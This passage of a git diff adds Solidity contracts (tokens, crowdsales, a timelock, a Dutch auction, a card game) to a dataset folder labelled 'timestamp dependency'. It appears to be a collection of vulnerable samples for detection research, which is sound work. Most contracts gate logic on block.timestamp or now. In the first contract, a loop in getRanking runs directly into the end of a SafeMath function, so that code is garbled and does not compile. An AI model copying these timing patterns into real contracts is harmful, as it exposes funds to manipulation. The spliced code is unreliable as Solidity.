claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external { + require(startSnapshot <= endSnapShot); + require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]); + require(endSnapShot < allocatedJadeResearchSnapshots.length); + + uint256 researchShare; + uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; + for (uint256 i = startSnapshot; i <= endSnapShot; i++) { + + + uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; + bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; + if (productionDuringSnapshot == 0 && !soldAllProduction) { + productionDuringSnapshot = previousProduction; + } else { + previousProduction = productionDuringSnapshot; + } + + researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; + } + + + if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) { + jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction; + } + + lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1; + + uint256 referalDivs; + if (referer != address(0) && referer != msg.sender) { + referalDivs = researchShare / 100; + coinBalance[referer][1] += referalDivs; + ReferalGain(referer, msg.sender, referalDivs); + } + coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs); + } + + + function snapshotDailyGooResearchFunding() external onlyAdmin { + uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100; + totalEtherPool[1] -= todaysGooResearchFund; + + totalJadeProductionSnapshots.push(totalJadeProduction); + allocatedJadeResearchSnapshots.push(todaysGooResearchFund); + nextSnapshotTime = block.timestamp + 24 hours; + } +} + +interface GameConfigInterface { + function productionCardIdRange() external constant returns (uint256, uint256); + function battleCardIdRange() external constant returns (uint256, uint256); + function upgradeIdRange() external constant returns (uint256, uint256); + function unitCoinProduction(uint256 cardId) external constant returns (uint256); + function unitAttack(uint256 cardId) external constant returns (uint256); + function unitDefense(uint256 cardId) external constant returns (uint256); + function unitStealingCapacity(uint256 cardId) external constant returns (uint256); +} + + + + + +contract CardsBase is JadeCoin { + + function CardsBase() public { + setAdminContract(msg.sender,true); + setActionContract(msg.sender,true); + } + + struct Player { + address owneraddress; + } + + Player[] players; + bool gameStarted; + + GameConfigInterface public schema; + + + mapping(address => mapping(uint256 => uint256)) public unitsOwned; + mapping(address => mapping(uint256 => uint256)) public upgradesOwned; + + mapping(address => uint256) public uintsOwnerCount; + mapping(address=> mapping(uint256 => uint256)) public uintProduction; + + + mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases; + mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases; + mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases; + mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases; + mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier; + mapping(address => mapping(uint256 => uint256)) private unitMaxCap; + + + function setConfigAddress(address _address) external onlyOwner { + schema = GameConfigInterface(_address); + } + + + function beginGame(uint256 firstDivsTime) external payable onlyOwner { + require(!gameStarted); + gameStarted = true; + nextSnapshotTime = firstDivsTime; + totalEtherPool[1] = msg.value; + } + + function endGame() external payable onlyOwner { + require(gameStarted); + gameStarted = false; + } + + function getGameStarted() external constant returns (bool) { + return gameStarted; + } + function AddPlayers(address _address) external onlyAccess { + Player memory _player= Player({ + owneraddress: _address + }); + players.push(_player); + } + + + + function getRanking() external view returns (address[], uint256[],uint256[]) { + uint256 len = players.length; + uint256[] memory arr = new uint256[](len); + address[] memory arr_addr = new address[](len); + uint256[] memory arr_def = new uint256[](len); + + uint counter =0; + for (uint k=0;k= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6297.sol b/smart_contract_dataset/timestamp dependency/6297.sol new file mode 100644 index 0000000000000000000000000000000000000000..7ebae92975565c9ee251d6d210440ca42eafa253 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6297.sol @@ -0,0 +1,561 @@ +pragma solidity ^0.4.21; + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + +contract JcnxxxToken is MintableToken { + + string public name = "JCN Token"; + string public symbol = "JCNXXX"; + uint8 public decimals = 18; +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 public token; + + + address public wallet; + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + + + function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_token != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + + + + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + + function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + + } + + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + token.transfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { + + } + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { + + require(_openingTime >= block.timestamp); + require(_closingTime >= _openingTime); + + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + + + + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } + +} + + + + +contract MintedCrowdsale is Crowdsale { + + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + require(MintableToken(token).mint(_beneficiary, _tokenAmount)); + } +} + + + + +contract CappedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public cap; + + + function CappedCrowdsale(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + function capReached() public view returns (bool) { + return weiRaised >= cap; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + super._preValidatePurchase(_beneficiary, _weiAmount); + require(weiRaised.add(_weiAmount) <= cap); + } + +} + + + +contract JcnxxxCrowdsale is FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { + + uint256 public constant FOUNDERS_SHARE = 30000000 * (10 ** uint256(18)); + uint256 public constant RESERVE_FUND = 15000000 * (10 ** uint256(18)); + uint256 public constant CONTENT_FUND = 5000000 * (10 ** uint256(18)); + uint256 public constant BOUNTY_FUND = 5000000 * (10 ** uint256(18)); + uint256 public constant HARD_CAP = 100000000 * (10 ** uint256(18)); + + + enum IcoPhases { PrivateSale, EarlyBirdPresale, Presale, EarlyBirdCrowdsale, FullCrowdsale } + struct Phase { + uint256 startTime; + uint256 endTime; + uint256 minimum; + uint8 bonus; + } + mapping (uint => Phase) ico; + + + function JcnxxxCrowdsale(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, MintableToken _token) public + CappedCrowdsale(HARD_CAP.div(_rate)) + FinalizableCrowdsale() + MintedCrowdsale() + TimedCrowdsale(_openingTime, _closingTime) + Crowdsale(_rate, _wallet, _token) + { + + + + ico[uint(IcoPhases.PrivateSale)] = Phase(1531126800, 1537001999, 10000000000000000000, 50); + + + ico[uint(IcoPhases.EarlyBirdPresale)] = Phase(1537002000, 1537865999, 750000000000000000, 25); + + + ico[uint(IcoPhases.Presale)] = Phase(1537866000, 1538729999, 500000000000000000, 15); + + + ico[uint(IcoPhases.EarlyBirdCrowdsale)] = Phase(1538730000, 1539593999, 250000000000000000, 5); + + + ico[uint(IcoPhases.FullCrowdsale)] = Phase(1539594000, 1542275999, 1000000000000000, 2); + } + + + function mintReservedTokens() onlyOwner public { + + + uint256 reserved_tokens = FOUNDERS_SHARE.add(RESERVE_FUND).add(CONTENT_FUND).add(BOUNTY_FUND); + require(MintableToken(token).mint(wallet, reserved_tokens)); + } + + + function airdrop(address[] _to, uint256[] _value) onlyOwner public returns (bool) { + + + + require(!isFinalized); + require(_to.length == _value.length); + require(_to.length <= 100); + + + for(uint8 i = 0; i < _to.length; i++) { + require(MintableToken(token).mint(_to[i], (_value[i].mul((10 ** uint256(18))))) == true); + } + return true; + } + + + + + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + super._preValidatePurchase(_beneficiary, _weiAmount); + + + uint256 minimum = _currentIcoPhaseMinimum(); + + + require(_weiAmount >= minimum); + } + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + + uint256 tokens = _weiAmount.mul(rate); + + + uint bonus = _currentIcoPhaseBonus(); + + + return tokens.add((tokens.mul(bonus)).div(100)); + } + + + function finalization() internal { + + uint256 _tokenAmount = HARD_CAP.sub(token.totalSupply()); + require(MintableToken(token).mint(wallet, _tokenAmount)); + + super.finalization(); + } + + + + + + + function _currentIcoPhaseBonus() public view returns (uint8) { + + for (uint i = 0; i < 5; i++) { + if(ico[i].startTime <= now && ico[i].endTime >= now){ + return ico[i].bonus; + } + } + return 0; + } + + + function _currentIcoPhaseMinimum() public view returns (uint256) { + + for (uint i = 0; i < 5; i++) { + if(ico[i].startTime <= now && ico[i].endTime >= now){ + return ico[i].minimum; + } + } + return 0; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6322.sol b/smart_contract_dataset/timestamp dependency/6322.sol new file mode 100644 index 0000000000000000000000000000000000000000..7b864805cb27264e9b0daba019a735a2c5251b37 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6322.sol @@ -0,0 +1,164 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + constructor( + ERC20Basic _token, + address _beneficiary, + uint256 _releaseTime + ) + public + { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + +contract TstTokenTimelock is Ownable, TokenTimelock { + + constructor( + ERC20Basic _token, + address _beneficiary, + uint256 _releaseTime + ) + public + TokenTimelock(_token, _beneficiary, _releaseTime) + {} + + function() public payable { + } + + function withdrawEth(uint256 _value) public onlyOwner { + owner.transfer(_value); + } + + function transferAnyERC20Token(address _token_address, uint _amount) public onlyOwner returns (bool success) { + require(_token_address != address(token)); + return ERC20Basic(_token_address).transfer(owner, _amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6348.sol b/smart_contract_dataset/timestamp dependency/6348.sol new file mode 100644 index 0000000000000000000000000000000000000000..a063622d275ba5cbd657726b2e5db13d0f3b792a --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6348.sol @@ -0,0 +1,637 @@ + + + pragma solidity ^0.4.18; + + + + + + + + + + + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + + + + +contract PausableToken is StandardToken, Pausable { + + function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transferFrom(_from, _to, _value); + } + + function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { + return super.approve(_spender, _value); + } + + function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { + return super.increaseApproval(_spender, _addedValue); + } + + function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { + return super.decreaseApproval(_spender, _subtractedValue); + } +} + + + + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + Burn(burner, _value); + } +} + + + + +contract LetsbetToken is PausableToken, BurnableToken { + + string public constant name = "Letsbet Token"; + string public constant symbol = "XBET"; + uint8 public constant decimals = 18; + + uint256 public constant INITIAL_SUPPLY = 100000000 * 10**uint256(decimals); + uint256 public constant TEAM_TOKENS = 18000000 * 10**uint256(decimals); + uint256 public constant BOUNTY_TOKENS = 5000000 * 10**uint256(decimals); + uint256 public constant AUCTION_TOKENS = 77000000 * 10**uint256(decimals); + + event Deployed(uint indexed _totalSupply); + + + function LetsbetToken( + address auctionAddress, + address walletAddress, + address bountyAddress) + public + { + + require(auctionAddress != 0x0); + require(walletAddress != 0x0); + require(bountyAddress != 0x0); + + totalSupply_ = INITIAL_SUPPLY; + + balances[auctionAddress] = AUCTION_TOKENS; + balances[walletAddress] = TEAM_TOKENS; + balances[bountyAddress] = BOUNTY_TOKENS; + + Transfer(0x0, auctionAddress, balances[auctionAddress]); + Transfer(0x0, walletAddress, balances[walletAddress]); + Transfer(0x0, bountyAddress, balances[bountyAddress]); + + Deployed(totalSupply_); + assert(totalSupply_ == balances[auctionAddress] + balances[walletAddress] + balances[bountyAddress]); + } +} + + + + +contract DutchAuction { + + + + uint constant public TOKEN_CLAIM_WAITING_PERIOD = 7 days; + + LetsbetToken public token; + address public ownerAddress; + address public walletAddress; + + + uint public startPrice; + + + uint public priceDecreaseRate; + + + uint public startTime; + + uint public endTimeOfBids; + + + uint public finalizedTime; + uint public startBlock; + + + uint public receivedWei; + + + uint public fundsClaimed; + + uint public tokenMultiplier; + + + uint public tokensAuctioned; + + + uint public finalPrice; + + + mapping (address => uint) public bids; + + + Stages public stage; + + + enum Stages { + AuctionDeployed, + AuctionSetUp, + AuctionStarted, + AuctionEnded, + TokensDistributed + } + + + modifier atStage(Stages _stage) { + require(stage == _stage); + _; + } + + modifier isOwner() { + require(msg.sender == ownerAddress); + _; + } + + + event Deployed( + uint indexed _startPrice, + uint indexed _priceDecreaseRate + ); + + event Setup(); + + event AuctionStarted(uint indexed _startTime, uint indexed _blockNumber); + + event BidSubmission( + address indexed sender, + uint amount, + uint missingFunds, + uint timestamp + ); + + event ClaimedTokens(address indexed _recipient, uint _sentAmount); + + event AuctionEnded(uint _finalPrice); + + event TokensDistributed(); + + + + + + + + function DutchAuction( + address _walletAddress, + uint _startPrice, + uint _priceDecreaseRate, + uint _endTimeOfBids) + public + { + require(_walletAddress != 0x0); + walletAddress = _walletAddress; + + ownerAddress = msg.sender; + stage = Stages.AuctionDeployed; + changeSettings(_startPrice, _priceDecreaseRate,_endTimeOfBids); + Deployed(_startPrice, _priceDecreaseRate); + } + + function () public payable atStage(Stages.AuctionStarted) { + bid(); + } + + + + + function setup(address _tokenAddress) public isOwner atStage(Stages.AuctionDeployed) { + require(_tokenAddress != 0x0); + token = LetsbetToken(_tokenAddress); + + + tokensAuctioned = token.balanceOf(address(this)); + + + tokenMultiplier = 10 ** uint(token.decimals()); + + stage = Stages.AuctionSetUp; + Setup(); + } + + + + + function changeSettings( + uint _startPrice, + uint _priceDecreaseRate, + uint _endTimeOfBids + ) + internal + { + require(stage == Stages.AuctionDeployed || stage == Stages.AuctionSetUp); + require(_startPrice > 0); + require(_priceDecreaseRate > 0); + require(_endTimeOfBids > now); + + endTimeOfBids = _endTimeOfBids; + startPrice = _startPrice; + priceDecreaseRate = _priceDecreaseRate; + } + + + + + function startAuction() public isOwner atStage(Stages.AuctionSetUp) { + stage = Stages.AuctionStarted; + startTime = now; + startBlock = block.number; + AuctionStarted(startTime, startBlock); + } + + + + + function finalizeAuction() public isOwner atStage(Stages.AuctionStarted) { + + uint missingFunds = missingFundsToEndAuction(); + require(missingFunds == 0 || now > endTimeOfBids); + + + + finalPrice = tokenMultiplier * receivedWei / tokensAuctioned; + + finalizedTime = now; + stage = Stages.AuctionEnded; + AuctionEnded(finalPrice); + + assert(finalPrice > 0); + } + + + + + + + function bid() + public + payable + atStage(Stages.AuctionStarted) + { + require(msg.value > 0); + assert(bids[msg.sender] + msg.value >= msg.value); + + + uint missingFunds = missingFundsToEndAuction(); + + + + require(msg.value <= missingFunds); + + bids[msg.sender] += msg.value; + receivedWei += msg.value; + + + walletAddress.transfer(msg.value); + + BidSubmission(msg.sender, msg.value, missingFunds,block.timestamp); + + assert(receivedWei >= msg.value); + } + + + + + function claimTokens() public atStage(Stages.AuctionEnded) returns (bool) { + return proxyClaimTokens(msg.sender); + } + + + + + function proxyClaimTokens(address receiverAddress) + public + atStage(Stages.AuctionEnded) + returns (bool) + { + + + + require(now > finalizedTime + TOKEN_CLAIM_WAITING_PERIOD); + require(receiverAddress != 0x0); + + if (bids[receiverAddress] == 0) { + return false; + } + + uint num = (tokenMultiplier * bids[receiverAddress]) / finalPrice; + + + + + uint auctionTokensBalance = token.balanceOf(address(this)); + if (num > auctionTokensBalance) { + num = auctionTokensBalance; + } + + + fundsClaimed += bids[receiverAddress]; + + + bids[receiverAddress] = 0; + + require(token.transfer(receiverAddress, num)); + + ClaimedTokens(receiverAddress, num); + + + + if (fundsClaimed == receivedWei) { + stage = Stages.TokensDistributed; + TokensDistributed(); + } + + assert(token.balanceOf(receiverAddress) >= num); + assert(bids[receiverAddress] == 0); + return true; + } + + + + + + + function price() public constant returns (uint) { + if (stage == Stages.AuctionEnded || + stage == Stages.TokensDistributed) { + return finalPrice; + } + return calcTokenPrice(); + } + + + + + + function missingFundsToEndAuction() constant public returns (uint) { + + uint requiredWei = tokensAuctioned * price() / tokenMultiplier; + if (requiredWei <= receivedWei) { + return 0; + } + + return requiredWei - receivedWei; + } + + + + + + function calcTokenPrice() constant private returns (uint) { + uint currentPrice; + if (stage == Stages.AuctionStarted) { + currentPrice = startPrice - priceDecreaseRate * (block.number - startBlock); + }else { + currentPrice = startPrice; + } + + return currentPrice; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6369.sol b/smart_contract_dataset/timestamp dependency/6369.sol new file mode 100644 index 0000000000000000000000000000000000000000..58ad1c63aa81bac0e67397e6b4ef195f5e82fecc --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6369.sol @@ -0,0 +1,384 @@ +pragma solidity 0.4.23; + +contract DSAuthority { + function canCall( + address src, address dst, bytes4 sig + ) public view returns (bool); +} + +contract DSAuthEvents { + event LogSetAuthority (address indexed authority); + event LogSetOwner (address indexed owner); +} + +contract DSAuth is DSAuthEvents { + DSAuthority public authority; + address public owner; + + constructor() public { + owner = msg.sender; + emit LogSetOwner(msg.sender); + } + + function setOwner(address owner_) + public + auth + { + owner = owner_; + emit LogSetOwner(owner); + } + + function setAuthority(DSAuthority authority_) + public + auth + { + authority = authority_; + emit LogSetAuthority(authority); + } + + modifier auth { + require(isAuthorized(msg.sender, msg.sig)); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == DSAuthority(0)) { + return false; + } else { + return authority.canCall(src, this, sig); + } + } +} + +contract DSNote { + event LogNote( + bytes4 indexed sig, + address indexed guy, + bytes32 indexed foo, + bytes32 indexed bar, + uint wad, + bytes fax + ) anonymous; + + modifier note { + bytes32 foo; + bytes32 bar; + + assembly { + foo := calldataload(4) + bar := calldataload(36) + } + + emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); + + _; + } +} + +contract DSStop is DSNote, DSAuth { + bool public stopped; + + modifier stoppable { + require(!stopped); + _; + } + function stop() public auth note { + stopped = true; + } + + function start() public auth note { + stopped = false; + } +} + +contract DSMath { + function add(uint x, uint y) internal pure returns (uint z) { + require((z = x + y) >= x); + } + + function sub(uint x, uint y) internal pure returns (uint z) { + require((z = x - y) <= x); + } + + function mul(uint x, uint y) internal pure returns (uint z) { + require(y == 0 || (z = x * y) / y == x); + } +} + +contract ERC20 { + + function totalSupply() constant public returns (uint256 supply); + + + + function balanceOf(address _owner) constant public returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address 